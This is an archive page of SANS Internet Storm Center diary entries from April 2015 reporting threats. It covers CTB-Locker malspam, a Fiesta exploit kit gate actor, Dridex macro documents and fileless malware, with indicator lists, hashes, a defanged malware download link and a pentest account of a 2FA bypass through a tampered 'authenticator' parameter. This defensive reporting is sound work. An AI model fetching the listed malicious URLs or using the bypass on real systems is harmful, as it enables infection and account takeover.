Diaries

Published: 2015-04-30

Dalexis/CTB-Locker malspam campaign

Malware Every Day

Malicious spam (malspam) is by sent by botnets every day.  These malspam campaigns send malware designed to infect Windows computers.  I'll see Dridex or Upatre/Dyre campaigns a daily basis.  Fortunately, most of these emails are blocked by our spam filters.  

This diary concerns a recent malspam wave on Tuesday 2015-04-28 from a botnet pushing Dalexis/CTB-Locker.


What is Dalexis/CTB-Locker?

Dalexis is a malware downloader.  It drops a CAB file with embedded document that's opened on a user's computer [1] then downloads more malware.  Dalexis is often used to deliver CTB-Locker [2][3].  CTB-Locker is ransomware that encrypts files on your computer.  In exchange for a ransom payment, the malware authors will provide a key to decrypt your files.  Behavior of this malware is well-documented, but small changes often occur as new waves of malspam are sent out.

A similar wave of malspam from Monday 2015-04-27 was reported by techhelplist.com [4].  The next day saw similar activity.  This campaign will likely continue.  Below is a flow chart from Tuesday's wave of Dalexis/CTB-Locker malspam:

The messages have slightly different subject lines, and each email attachment has a different file hash.  I infected a host using one of the attachments.  Below are links to the associated files:

The ZIP file is password-protected with the standard password.  If you don't know it, email admin@malware-traffic-analysis.net and ask.

 

Infection as Seen from the Desktop

Extracted malware from these email attachments is an SCR file with an Excel icon.  The following image shows what happened immediately after opening this Dalexis malware on the desktop:

A few minutes later, the desktop shows signs of infection by CTB-Locker:

Instructions for decrypting your files are shown below:

Had to download a Tor browser to get at the decryption instructions.  The bitcoin address for the ransom payment is: 18GuppWVuZGqutYvZz9uaHxHcostrU6Upc  (check here to see if any transactions have been made by this bitcoin account).

 

Traffic from the Infected Host

Below is an image from Sguil on Security Onion for some of the EmergingThreats and ETPRO snort events seen during this infection:

Dalexis uses an HTTP GET request to download CTB-Locker.  The file is encrypted in transit, but I retrieved a decrypted copy from the infected host.  Dalexis reports to a command and control (CnC) server after the malware is successfully downloaded.  

In the image below, you'll find HTTP POST requests to different servers as Dalexis tries to find a CnC server that will respond.  This sample of Dalexis did 124 HTTP POST requests before a server finally replied with a 200 OK.

For indicators of compromise (IOCs), a list of domains unique to this infection follows:

(Read: IP address - domain name)

  • 31.170.160.229 - earthfromspace.host56.com
  • 31.170.162.163 - gkl.net76.net
  • 37.187.72.60 - volcanoscreens.com
  • 46.19.37.108 - ip.telize.com
  • 62.149.140.213 - www.gaglianico74.it
  • 85.10.55.30 - lancia.hr
  • 192.185.224.67 - bdfschool.net
  • various - fizxfsi3cad3kn7v.tor2web.org
  • various - fizxfsi3cad3kn7v.onion.cab

 

Example of Malspam From Tuesday 2015-04-28

From: Eda Uhrhammer
Date: Tuesday, April 28, 2015 at 16:16 UTC
To: [redacted]
Subject: [Issue 5261CC6247C37550] Account #295030013990 Temporarily Locked

Dear user,

We detect unauthorized Login Attempts to your ID #295030013990 from other IP Address.
Please re-confirm your identity. See attached docs for full information.

===
Eda Uhrhammer
Millard Peter
111 Hunter Street East, Peterborough, ON K9H 1G7

CANADA
705-759-7751

Attachment: 295030013990.zip

NOTE: The emails contain various international names, addresses, and phone numbers in the signature block.

 

Emails Collected

Start time: 2015-04-28 10:00:13 UTC
End time: 2015-04-28 16:16:28 UTC
Emails found: 24


Senders and Subject Lines

  • Sender: chronogram@dorhotels.com - Subject: [Issue 35078504EBA94667] Account #59859805294 Temporarily Locked 
  • Sender: sandwiched@upaf.net - Subject: [Issue 84908E27DF477852] Account #40648428303 Temporarily Locked 
  • Sender: stashed@wudata.com - Subject: [Issue 8694097116D18193] Account #257547165590 Temporarily Locked 
  • Sender: wildcatting@atelier122.com - Subject: [Issue 11123E749D533902] Account #621999149649 Temporarily Locked 
  • Sender: blackens@mpzmail.com - Subject: [Issue 24789101648C8407] Account #250874039146 Temporarily Locked 
  • Sender: kami@corexsud.com - Subject: [Issue 6412D16736356564] Account #238632826769 Temporarily Locked 
  • Sender: rasped@rhfs.com - Subject: [Issue 9139F9678C9A7466] Account #216021389500 Temporarily Locked 
  • Sender: jingly@proxis.com - Subject: [Issue 982886631E9E7489] Account #114654416120 Temporarily Locked 
  • Sender: exaggerating@cfilc.org - Subject: [Issue 4895D8D81ADE1399] Account #843871639720 Temporarily Locked 
  • Sender: achaea@staes.com - Subject: [Issue 72986FD85CE93134] Account #622243029178 Temporarily Locked 
  • Sender: wharves@be.grayling.com - Subject: [Issue 27883AA546718876] Account #475770363394 Temporarily Locked 
  • Sender: busheling@abbiegram.net - Subject: [Issue 5384A21F5AB26075] Account #717973552140 Temporarily Locked 
  • Sender: megacephaly@ielmalta.com - Subject: [Issue 5694B0643FCD587] Account #642271991381 Temporarily Locked 
  • Sender: fervorless@timocom.com - Subject: [Issue 8219423F8CFB6864] Account #692223104314 Temporarily Locked 
  • Sender: pickles@fei.org - Subject: [Issue 70308834A3929842] Account #339648082242 Temporarily Locked 
  • Sender: swartz@johndesmond.com - Subject: [Issue 33190977A2D04088] Account #831865092451 Temporarily Locked 
  • Sender: voluntaryism@isporven.com - Subject: [Issue 706584024E142555] Account #196387638377 Temporarily Locked 
  • Sender: catalysts@sefurmadrid.com - Subject: [Issue 830689BB76F4615] Account #162723085828 Temporarily Locked 
  • Sender: phytane@arboris-us.com - Subject: [Issue 46714D12FB834480] Account #526735661562 Temporarily Locked 
  • Sender: pollinises@hanh-ct.org - Subject: [Issue 39494AFE933A5158] Account #552561607876 Temporarily Locked 
  • Sender: resents@arkastravel.com - Subject: [Issue 974641F53DD66126] Account #325636779394 Temporarily Locked 
  • Sender: addled@dorhotels.com - Subject: [Issue 7505716EA6244832] Account #603263972311 Temporarily Locked 
  • Sender: oology@mouzaliotis.com - Subject: [Issue 50438E220A5D7432] Account #906152957589 Temporarily Locked 
  • Sender: delighter@alabaisse.com - Subject: [Issue 5261CC6247C37550] Account #295030013990 Temporarily Locked 

NOTE: The sending email addresses might be spoofed.


Attachments

  • 114654416120.zip - 19,135 bytes - MD5 hash: 1a9fdce6b6efd094af354a389b0e04da
  • 162723085828.zip - 20,688 bytes - MD5 hash: a1b066361440a5ff6125f15b1ba2e1b1
  • 196387638377.zip - 20,681 bytes - MD5 hash: 01f8976034223337915e4900b76f9f26
  • 216021389500.zip - 19,135 bytes - MD5 hash: ab9a07054a985c6ce31c7d53eee90fbe
  • 238632826769.zip - 19,135 bytes - MD5 hash: 899689538df49556197bf1bac52f1b84
  • 250874039146.zip - 19,135 bytes - MD5 hash: eea0fd780ecad755940110fc7ee6d727
  • 257547165590.zip - 19,114 bytes - MD5 hash: f236e637e17bc44764e43a8041749e6c
  • 295030013990.zip - 20,168 bytes - MD5 hash: eda8075438646c617419eda13700c43a
  • 325636779394.zip - 20,177 bytes - MD5 hash: d00861c5066289ea9cca3f0076f97681
  • 339648082242.zip - 20,703 bytes - MD5 hash: 657e3d615bb1b6e7168319e1f9c5039f
  • 40648428303.zip - 19,113 bytes - MD5 hash: b7fe085962dc7aa7622bd15c3a303b41
  • 475770363394.zip - 20,642 bytes - MD5 hash: 2ba4d511e07090937b5d6305af13db68
  • 526735661562.zip - 20,710 bytes - MD5 hash: 24698aa84b14c42121f96a22fb107d00
  • 552561607876.zip - 20,709 bytes - MD5 hash: 04abf53d3b4d7bb7941a5c8397594db7
  • 59859805294.zip - 19,071 bytes - MD5 hash: b2ca48afbc0eb578a9908af8241f2ae8
  • 603263972311.zip - 20,175 bytes - MD5 hash: fa43842bda650c44db99f5789ef314e3
  • 621999149649.zip - 19,135 bytes - MD5 hash: 802d9abf21c812501400320f2efe7040
  • 622243029178.zip - 20,681 bytes - MD5 hash: 0687f63ce92e57a76b990a8bd5500b69
  • 642271991381.zip - 20,644 bytes - MD5 hash: 0918c8bfed6daac6b63145545d911c72
  • 692223104314.zip - 20,703 bytes - MD5 hash: 2e90e6d71e665b2a079b80979ab0e2cb
  • 717973552140.zip - 20,721 bytes - MD5 hash: 5b8a27e6f366f40cda9c2167d501552e
  • 831865092451.zip - 20,718 bytes - MD5 hash: 9c1acc3f27d7007a44fc0da8fceba120
  • 843871639720.zip - 20,713 bytes - MD5 hash: 1a6b20a5636115ac8ed3c4c4dd73f6aa
  • 906152957589.zip - 20,134 bytes - MD5 hash: b9d19a68205f2a7e2321ca3228aa74d1

Extracted Malware

  • 114654416120.scr - 98,304 bytes - MD5 hash: 46838a76fbf59e9b78d684699417b216
  • 162723085828.scr - 90,112 bytes - MD5 hash: 8f5df86fdf5f3c8e475357bab7bc38e8
  • 196387638377.scr - 90,112 bytes - MD5 hash: 59f71ef10861d1339e9765fb512d991c
  • 216021389500.scr - 98,304 bytes - MD5 hash: 0baa21fab10c7d8c64157ede39453ae5
  • 238632826769.scr - 98,304 bytes - MD5 hash: f953b4c8093276fbde3cfa5e63f990eb
  • 250874039146.scr - 98,304 bytes - MD5 hash: 6580e4ee7d718421128476a1f2f09951
  • 257547165590.scr - 94,208 bytes - MD5 hash: 6a15d6fa9f00d931ca95632697e5ba70
  • 295030013990.scr - 86,016 bytes - MD5 hash: 54c1ac0d5e8fa05255ae594adfe5706e
  • 325636779394.scr - 94,208 bytes - MD5 hash: 08a0c2aaf7653530322f4d7ec738a3df
  • 339648082242.scr - 94,208 bytes - MD5 hash: 1aaecdfd929725c195a7a67fc6be9b4b
  • 40648428303.scr - 94,208 bytes - MD5 hash: f51fcf418c973a94a7d208c3a8a30f19
  • 475770363394.scr - 81,920 bytes - MD5 hash: dbea4b3fb5341ce3ca37272e2b8052ae
  • 526735661562.scr - 94,208 bytes - MD5 hash: c0dc49296b0aec09c5bfefcf4129c29b
  • 552561607876.scr - 98,304 bytes - MD5 hash: 9239ec6fe6703279e959f498919fdfb0
  • 59859805294.scr - 86,016 bytes - MD5 hash: a9d11a69c692b35235ce9c69175f0796
  • 603263972311.scr - 94,208 bytes - MD5 hash: bcaf9ce1881f0f282cec5489ec303585
  • 621999149649.scr - 98,304 bytes - MD5 hash: 70a63f45eb84cb10ab1cc3dfb4ac8a3e
  • 622243029178.scr - 90,112 bytes - MD5 hash: d1b1e371aebfc3d500919e9e33bcd6c1
  • 642271991381.scr - 81,920 bytes - MD5 hash: 15a5acfbccbb80b01e6d270ea8af3789
  • 692223104314.scr - 94,208 bytes - MD5 hash: fa0fe28ffe83ef3dcc5c667bf2127d4c
  • 717973552140.scr - 98,304 bytes - MD5 hash: 646640f63f327296df0767fd0c9454d4
  • 831865092451.scr - 98,304 bytes - MD5 hash: ec872872bff91040d2bc1e4c4619cbbc
  • 843871639720.scr - 98,304 bytes - MD5 hash: b8e8e3ec7f4d6efee311e36613193b8d
  • 906152957589.scr - 94,208 bytes - MD5 hash: 36abcedd5fb6d17038bd7069808574e4

 

Updates

---
Brad Duncan, Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References

[1] http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=TrojanDownloader:Win32/Dalexis#tab=2
[2] https://heimdalsecurity.com/blog/ctb-locker-ransomware/
[3] https://blogs.mcafee.com/mcafee-labs/rise-backdoor-fckq-ctb-locker
[4] https://techhelplist.com/index.php/spam-list/796-your-account-has-been-something-bad-various-malware

1 Comments

Published: 2015-04-29

UDP/3478 to Amazon 54.84.9.242 -- got packets? (solved)

Several readers are reporting UDP/3478 (STUN) traffic to Amazon AWS address 54.84.9.242.  If you "got packets" or know what it is, please share below.

Update Apr 29 19:30 UTC:

Thanks everyone for pitching in and providing packets and logs! With your help, we were able to link these requests to a project conducted by Dan Kaminsky at White Ops.  Dan provided the following explanation:

At White Ops, we've been exploring some of the more interesting corners of web browsers, and what they expose via JavaScript, to detect the presence of some of the more interesting abusers of web browsers, i.e. bots.  Turns out no matter how clever an exploit is, it tends not to teleport the attacker in front of the machine, so if you can detect automation and remote control, you can detect entire classes of otherwise unknown malware.

STUN, as part of the new WebRTC protocol stack, actually exposes certain classes of bot behavior.  People are welcome to contact me privately if they're concerned about that; if it was dangerous to users, we'd file the bugs ourself.

In general, network administrators should expect a significant increase in STUN (and UDP) traffic over the next year that will ultimately be traced to web browsers.  TCP has been a fantastic workhorse but between the rise of videoconferencing (which requires entirely different network topologies in order to provide reasonable latencies and echo cancellation) and the constant push of the web away from request/response and towards push semantics for web apps, WebRTC will likely take a position alongside other normal protocols like HTTP, DNS, etc.


There is also a discussion thread on this in the SANS ISC Forum at https://isc.sans.edu/forums/STUN+traffic/745/ and https://isc.sans.edu/forums/STUN+traffic/745/2/

6 Comments

Published: 2015-04-28

Scammy Nepal earthquake donation requests

Predictably, like after every major hurricane or earthquake, the miscreants around the globe are currently scurrying to set up their fake charities and web pages, in order to solicit donations. The people of Nepal certainly can use our help and generosity to deal with the aftermath of the April 25 earthquake, but let's make sure the money actually ends up there. For our readers in the US, USAID.gov maintains a list of charities that they work with in Nepal at http://www.usaid.gov/nepal-earthquake .. but note how even USAID adds a disclaimer to be on the lookout for scams!

If you come across fraudulent donation requests in (spam) mails or web sites that solicit donations for Nepal, please let us know via our contact form.

1 Comments

Published: 2015-04-28

Actor using Fiesta exploit kit

An Enduring Adversary

This diary entry documents a criminal group using the Fiesta exploit kit (EK) to infect Windows computers.  I previously wrote a guest diary about this group on 2014-12-26 [1] and provided some updated information on my personal blog this past February [2].  I first noticed this group in 2013, and it's likely been active well before then.

The group is currently using a gate that generates traffic from compromised websites to a Fiesta EK domain.  I'm calling this group the "BizCN gate actor" because all its gate domains are registered through Chinese registrar www.bizcn.com, and they all reside on a single IP address.  The registrant data is privacy-protected through Wuxi Yilian LLC.

Earlier this month, the BizCN gate actor changed its gate IP to 136.243.227.9 [3].  We're currently seeing the gate lead to Fiesta EK on 205.234.186.114.  Below is a flow chart for the infection chain:

 

Traffic From an Infected Host

The following image shows traffic from 136.243.227.9 (the gate) that occurred on 2015-04-26.  The landing page for Fiesta EK is highlighted in yellow.

Within the past week or so, Fiesta EK has modified its URL structure.  Now you'll find dashes and underscores in the URLs (something that wasn't present before).

A pcap of this traffic at is available at:  http://www.malware-traffic-analysis.net/2015/04/26/2015-04-26-Fiesta-EK-traffic.pcap.zip

The malware payload on the infected host copied itself to a directory under the user's AppData\Local folder.  It also updated a registry key for persistence (see below):

A copy of the malware payload is available at:  https://malwr.com/analysis/NGEwNWI0MDY1MGJjNGIzYjkyNTkwZDMyYjA0NDU1ZmU/

See below for post-infection traffic caused by the malware:

Below is an image from Sguil on Security Onion for EmergingThreats and ETPRO snort events caused by the infection.  Post-infection traffic triggered ETPRO alerts for Kovter malware, but the malware payload is identified as different names by different AV vendors [4].

 

Indicators of Compromise (IOCs)

Passive DNS on 136.243.227.9 shows at least 100 domains registered through www.bizcn.com hosted on this IP address.  Each domain is paired with a compromised website.  Below is a list of the gate domains and their associated compromised websites I've found so far this month:

(Read: gate on 136.243.227.9 - compromised website)

  • doralerd.org - undertone.com
  • einseeld.com - forum.freeadvice.com
  • fogelicy.org - forum.thegradcafe.com
  • furarryl.org - forum.ppcgeeks.com
  • holamecs.com - marksdailyapple.com
  • hrortict.com - gm-trucks.com
  • indusish.org - christianforms.com
  • khundalt.org - scienceforums.net
  • kroentro.com - longrangehunting.com
  • molporic.com - quiltingboard.com
  • muskiert.org - hacknmod.com
  • naraiarm.org - visajourney.com
  • nealychy.com - iwsti.com
  • nonypeck.com - forms.pinstack.com
  • octaneft.com - droidrzr.com
  • omaidett.com - nano-reef.com
  • rotonexy.org - acne.org
  • sulecass.com - rugerforum.net
  • trobirks.com - gtrlife.com
  • unitturt.org - dbstalk.com

How can you determine if your clients saw traffic associated with this actor?  Organizations with web proxy logs can search for 136.243.227.9 to see the HTTP requests.  Those HTTP headers should include a referer line with the compromised website.  Many of these compromised websites use vBulletin.

 

Final Notes

Researchers may have a hard time generating infection traffic from compromised websites associated with this actor.  Most often, HTTP GET requests to the gate domain return a 404 Not Found.  In some cases, the gate domain might not appear in traffic at all.  Other times, the HTTP GET request for the Fiesta EK landing page doesn't return anything.  It's tough to get a full infection chain when you're trying to do it on purpose.

The BizCN gate actor occasionally changes the IP address for these gate domains.  Since their information is now public through this diary entry, the actor will likely change the gate's IP address and domains again.

Unless there's a drastic change in their pattern of operations, this BizCN gate actor will be found relatively soon after any upcoming changes.

---
Brad Duncan, Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References

[1] https://isc.sans.edu/diary/Gate+to+Fiesta+exploit+kit+on+9424221669/19117
[2] http://www.malware-traffic-analysis.net/2015/02/05/index.html
[3] http://urlquery.net/search.php?q=136.243.227.9
[4] https://www.virustotal.com/en/file/66c4d1b42081a33a14f601b72fe513d9baa8a8aec083103dc3dc139d257644a2/analysis/

3 Comments

Published: 2015-04-27

When Prevention Fails, Incident Response Begins

          I’ve been asked a few times this year ($dayjob) to discuss and review incident handling practices with some of our clients. This topic seems to have come up to the surface again, and with some breaches getting main-stream coverage, it only makes sense. Taking a look at some of our past posts here on the ISC, I was pleasantly greeted with a long history on this topic (see list below).

For those that have not seen it yet should read the 2015 Verizon Data Breach Report  (DBIR) [1]. A couple of notes on DBIR (very brief as it seems everyone is reviewing it [2]), we are getting better. The entry on page 5 that is called out stuck with me “In 70% of the attacks where we know the motive for the attack, there’s a secondary victim.[1]”  Some homework, go read page 5!

The second take away from DBIR tells me that we can prevent quite a bit. Remember where prevention stops, incident handling starts. If you jump to page 15 a big lesson that you’d THINK we’ve learned? PATCH“99.9% of the exploited vulnerabilities had been compromised more than a year after the associated CVE was published.[1]

Some Observations

In my travels it has been observed that more companies are starting to negotiate contracts with outside incident management firms proactively. This is a great sign, one thing I am still noting an area of weakness is in the internal incident handling skills. We should still have some staff that at least understands the process (thinking evidence handling here). These staffers should act as both liaison to contract staff and aid with guidance to management.

Most, if not all, companies that I have visited have solid policies and standards in place. Along with a surprising number that including marketing and public relations. It seems we are getting a little better here. Note: Have a list of those that are cleared to speak to any media, your average journalist will eat an engineer alive. Know when to say “I cannot comment on that”

 

Parting references I use for incident management:

http://csrc.nist.gov/publications/nistpubs/800-61rev2/SP800-61rev2.pdf

http://csrc.nist.gov/publications/nistpubs/800-86/SP800-86.pdf

http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf

http://www.ncix.gov/publications/reports/fecie_all/Foreign_Economic_Collection_2011.pdf

http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/26-CIP_CyberAssessmentGuide.pdf

http://www.ietf.org/rfc/rfc2350.txt

http://www.cert.org/csirts/resources.html

http://www.iso27001security.com/html/27035.html

http://www.itu.int/en/ITU-D/Cybersecurity/Documents/ALERT.pdf

http://www.itu.int/ITU-D/membership/portal/index.asp?Name=45047

http://www.itu.int/ITU-D/asp/CMS/Events/2011/CyberCrime/S6_Mohamad_Sazly_Musa.pdf

http://csrc.nist.gov/groups/SMA/fasp/documents/incident_response/CIRT-Desk-Reference.pdf

The Practice of Network Security Monitoring: Understanding Incident Detection and Response by Richard Bejtlich Link: http://amzn.com/1593275099

http://www.sans.org/reading-room/whitepapers/incident/incident-handling-process-small-medium-businesses-1791?show=incident-handling-process-small-medium-businesses-1791&cat=incident

http://www.sans.org/reading-room/whitepapers/incident/computer-incident-response-team-641?show=computer-incident-response-team-641&cat=incident

http://www.cert.org/csirts/csirt_faq.html

http://www.veriscommunity.net/doku.php

http://www.ietf.org/rfc/rfc2350.txt

References

[1]  http://www.verizonenterprise.com/DBIR/

[2]  http://researchcenter.paloaltonetworks.com/2015/04/2015-verizon-data-breach-investigations-report-dbir-insights-from-unit-42/

1 Comments

Published: 2015-04-26

Quantum Insert Attack

The Dutch company Fox-IT has revealed a detailed information about Quantum Insert Attack. "‘HTML Redirection’ attack by injecting malicious content into a specific TCP session. A session is selected for injection based on ‘selectors’, such as a persistent tracking cookie that identifies a user for a longer period of time."

The attack can be done by sniffing an HTTP request then the attacker will spoofed a crafted HTTP response. In order to craft a spoofed HTTP response the attacker should know the following:

  • Source and Destination IP address
  • Source and Destination TCP port
  • Sequence and Acknowledgment Number

Once the packet is spoofed a race condition will occur, if the attacker win the race then he/she would response to the victim with malicious content instead of the legitimate one.

Performing Quantum Insert attack require that the attacker can monitor the traffic and have very fast infrastructure to win the race condition.

To detect Quantum Insert we should look for the following:

  1. Duplicate Sequence number with two different payloads, since the attacker will spoof the response ,the victim will have two packets with same sequence number but with different payload.
  2. TTL anomalies ,the spoofed packets would show a different time to live value than the real packets . TTL different might be legit due to the nature of internet traffic but since the attacker will be closer to the target to win the race condition that might give unusual different in the ttl between the legitimate packets and the spoofed one.

==========================================

http://blog.fox-it.com/2015/04/20/deep-dive-into-quantum-insert/

 

1 Comments

Published: 2015-04-25

A Malicious Word Document Inside a PDF Document

Yesterday Steve Basford informed us of yet another type of malicious document (Sales Invoice 519658.pdf MD5 bfe397fb9b7907ab34ba83f0f086336d). It is a PDF document, containing an embedded file, with JavaScript to extract the embedded file to a temporary folder and then open it. The embedded file is a malicious Word document like we've seen many of them the last months.

When you open this PDF file with Adobe Reader, you get a warning and the embedded file is only opened when you approve it.

You can analyze such PDFs without using Adobe Reader or Microsoft Word, but with my tools pdfid, pdf-parser and oledump.

If you want to know in detail how to do this, I have a video.

 

1 Comments

Published: 2015-04-24

Fileless Malware

In previous diaries we have talked about memory forensics and how important is it . Malware that does not exist in the file system are one of the reasons why memory forensics is important.

Michael Marcos from Trend Micro wrote about “Fileless malware”. POWELIKS is one of the example he talked about.

POWELIKS hides its malicious code inside Windows Registry Key and it is use Windows PowerShell to run additional encoded code.

 

Phasebot is the second malware that Marcos has talked about is Phasebot can be defined as a new variant of Solarbot.

The Phasebot has additional features such as Virtual Machine detection and an external module loader which give the malware the ability to add and remove features.

Phasebot encrypt the communication with its Command and Control server using a random password each time it connects to the C&C server.

The malware was designed to check for .Net Framework 3.5 and Windows PowerShell which are installed by default in recent versions of Windows.

Then it will creates the following registry key where the encrypted shell code will be written:

  • HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Installed Components\{Bot GUID}

It creates Rc4Encoded32 and Rc4Encoded64 registry values where it will save the encrypted 32-bit and 64-bit shell code. Lastly, it creates another registry value named JavaScript that will decrypt and execute the Rc4Encoded32/64 values.

“If the programs are not found in the system, Phasebot drops a copy of itself in the %User Startup% folder. It then hooks APIs to achieve a user-level rootkit that makes the file hidden from a typical end- user. It hooks theNtQueryDirectoryFile API to hide the file and hooks NtReadVirtualMemory to hide the malware process

Phasebot can execute routines, per the instruction of the bot administrator, such as steal information via formgrabbers, perform distributed denial-of-service (DDoS) attacks, update itself, download and execute files, and access URLs.”

===========================================================

http://blog.trendmicro.com/trendlabs-security-intelligence/without-a-trace-fileless-malware-spotted-in-the-wild/

 

 

 

 

0 Comments

Published: 2015-04-23

When automation does not help

In a lot of web application penetration tests that I’ve done in last couple of years I noticed that the amount of technical vulnerabilities (i.e. XSS or SQL injection) is slowly declining. Of course, this depends on developers’ awareness but also on frameworks that are used for development of such applications. One of the best (or worst, depending on the point of view) is definitely .NET (yeah, I know, it feels weird to say that Microsoft is best in something security related).

With .NET applications, a whole range of security vulnerabilities is actually eliminated by default. For example, XSS vulnerabilities are prevented by default (the infamous “A potentially dangerous Request.Form value was detected from the client” error), CSRF will not work (or will be very difficult to exploit) due to __EVENTVALIDATION and __VIEWSTATE parameters and so on.
That being said, while frameworks are getting increasingly better at stopping technical vulnerabilities, they utterly fail with logical vulnerabilities.

I found such a semi-logical vulnerability recently that demonstrates how complex backend environments, where multiple teams of developers have to work together, can be very error prone to correct handling of “weird” situations. The same example also shows why an automated web application vulnerability scanner cannot replace a human penetration tester – this category of vulnerabilities will always be very difficult to find automatically, if not impossible.

The application I tested used very complex workflows (which are a pretty huge obstacle for automated vulnerability scanners). When the user wanted to change some of his security settings, the application used two factor authentication (2FA) and through a series of challenge/response screens the user had to confirm his actions. Looks good so far.

The last step in this complex workflow was a POST HTTP request, where the user submitted the calculated response back to the server for validation. If the submitted response was OK, the activity was approved, otherwise an error was given.

This is what the request looked like:

POST /Configuration.asmx/SecureAuthenticator HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
..
{"changemail":"handlers@sans.edu| … "reponseOtpCode":"313371","authenticator":"Google"}

As you can see in the requests’ body, a JSON structure is being sent with the desired parameter. Besides testing for XSS and SQL Injection vulnerabilities in various parameters, the last two parameters look interesting.
The typical testing went like this:

  • Check if an incorrect response OTP code can be submitted: no, the application correctly catches this and prints an error,
  • Check if we can completely delete the last two parameters (responseOtpCode and authenticator): nope, the application says it’s missing required parameters,
  • Check what happens if we change the value of the authenticator parameter to “hacked”: BINGO, the request went straight through!

So easy! What was the error here? After talking to the developers, the error happened when the front end sent a request to the authentication component. The front end correctly validated if the responseOtpCode and authenticator parameters exist, but didn’t check their contents (at the end of the day, it’s the authentication component’s job).

Now, the authentication component tried to match the value of the authenticator parameter to one of the supported mechanisms (apparently it supported more mechanisms and not only “Google”). When this failed, the authentication component returned back an error value: 255. However, the front end expected only 0 or 1 (successful or failed authentication) and somehow didn’t catch this properly.

At the end, we can see that this simple, half-logical vulnerability lead to a catastrophic scenario. Luckily, the fix was easy, but this once again showed that due to the vulnerability and the complex workflow, we must not rely only on automated vulnerability scanners. 

--
Bojan​
@bojanz
INFIGO IS

0 Comments

Published: 2015-04-21

Dridex Redirecting to Malicious Dropbox Hosted File Via Google

Thanks to Wayne for sending us in the latest Dridex sample. He observed them arriving this morning around 8am ET. According to Wayne, this malware may use Google Analytics to count how many people opened the file, but I haven't confirmed that. Google redirects are however used to obscure the destination.

Checking my own inbox, I found a couple of the messages in my spam folder. Here is an example I received:

The link is kind of interesting. It leads to Google, but Google will redirect you to the malicious file which is hosted on dropbox. At least the file above was still available.

 

The link:

hxxps://www.google.com/url? q=https://www.dropbox.com/s/ 0c5we7id7mgwk89/ACH transaction0336.doc?dl=1 &sa=D&sntz=1&usg=AFQjCNFvX9uqV7uVjP8NWYKa4xkImgXPBA

Google will show a note that the user was redirected, but the file will download right away. It will not open, and the user will have to open it an enable the Macro to execute.

Hashes of the Word document:

MD5: f12cfa3f42784769c1542155a4f9cde8
SHA1: 5a939df2692091c89b5a75db3bba990aae3b6d10

And a quick review with fellow handler Didier's oledump tool shows indeed a number of suspect macros.

$ ./oledump.py -p ./plugin_dridex.py ../ACH\ transaction0336.doc  -e
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     10927 '1Table'
  5:    136110 'Data'
  6:       666 'Macros/PROJECT'
  7:       161 'Macros/PROJECTwm'
  8: m     683 'Macros/VBA/Module1'
               Plugin: Dridex decoder
  9: m     683 'Macros/VBA/Module2'
               Plugin: Dridex decoder
 10: M    3592 'Macros/VBA/Module3'
               Plugin: Dridex decoder
 11: m     683 'Macros/VBA/Module4'
               Plugin: Dridex decoder
 12: M    2526 'Macros/VBA/Module5'
               Plugin: Dridex decoder
 13: M   10321 'Macros/VBA/ThisDocument'
               Plugin: Dridex decoder
 14:      5094 'Macros/VBA/_VBA_PROJECT'
 15:       649 'Macros/VBA/dir'
 16:      7220 'WordDocument'

Virustotal only shows 4 "hits" out of 57 AV tools tested for this binary

https://www.virustotal.com/en/file/efd9e8d6fe04bf8b7abcdd208c7f1b2b2fabf2ae09bce9775631047455cd533b/analysis/1429631351/

 

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

4 Comments

Published: 2015-04-21

Logging Complete Requests in Apache 2.2 and 2.4

Apache has an interesting option to log complete requests, including the body of POST requests. The method has come in handy for honeypots. For a normal server, the logging is likely excessive (other then for debug purposes), and I do not think sensitive data can be masked like it mod_security.

The complete request logging uses the "mod_dumpio" module, which was introduced in Apache 2.2. In Apache 2.2, all you need to do is to enable the module, and set the log level:

DumpIOInput On
DumpIOLogLevel debug

In Apache 2.4, the logging system got revamped, and you now specify the log level per module using the LogLevel directive:

DumpIOInput On
LogLevel dumpio:trace7

​The logs will end up in your error log, and look like:

[Tue Apr 21 15:08:40.894950 2015] [dumpio:trace7] [pid 15247] mod_dumpio.c(63): [client 188.138.17.205:48510] mod_dumpio:  dumpio_in (data-HEAP): 26 bytes
[Tue Apr 21 15:08:40.894980 2015] [dumpio:trace7] [pid 15247] mod_dumpio.c(103): [client 188.138.17.205:48510] mod_dumpio:  dumpio_in (data-HEAP): GET /robots.txt HTTP/1.1\r\n

You can filter a particular request by greping for the client IP and port:

grep '188.138.17.205:48510' error.log

To make things more readable, I use this shell script (for the above log from 188.138.17.205 and port 48510)

grep '188.138.17.205:48510' error.log | cut -f8- -d':' | egrep -v ' [0-9]+ bytes$' | grep -v '^$' | cut -c2- | sed 's/\\r\\n//'

The output:

GET /robots.txt HTTP/1.1
Host: [redacted]:8080
Accept-Encoding: identity

The same module can also be used to log all output, which may come in handy to debug errors on SSL servers, but I haven't had a need to use that function yet.

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

1 Comments

Published: 2015-04-20

Reminder: Secure Your Tomcat Admin Interface

In our web application honeypots, we do see continuing scans for "/manager/html". While our honeypot doesn't (yet) fully simulate this Tomcat administrative interface, these scans are usually used to find unprotected Tomcat manager URLs. 

The full request:

GET /manager/html HTTP/1.1
Authorization: Basic
Accept: */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: [host ip redacted]:8080
Cache-Control: no-cache

Today's top sources of these scans are:

222.186.21.117  (<-- by far the largest source) 
88.33.217.26
69.39.4.234
176.31.16.108
218.83.5.174
150.70.97.0/24
150.70.173.0/24   (maybe just block 150.70.0.0/16 ?)
121.8.241.145

OWASP got a brief guide on securing Tomcat: https://www.owasp.org/index.php/Securing_tomcat

See the "Securing Manager WebApp" for details on protecting your management interface.

 

---
Johannes B. Ullrich, Ph.D.
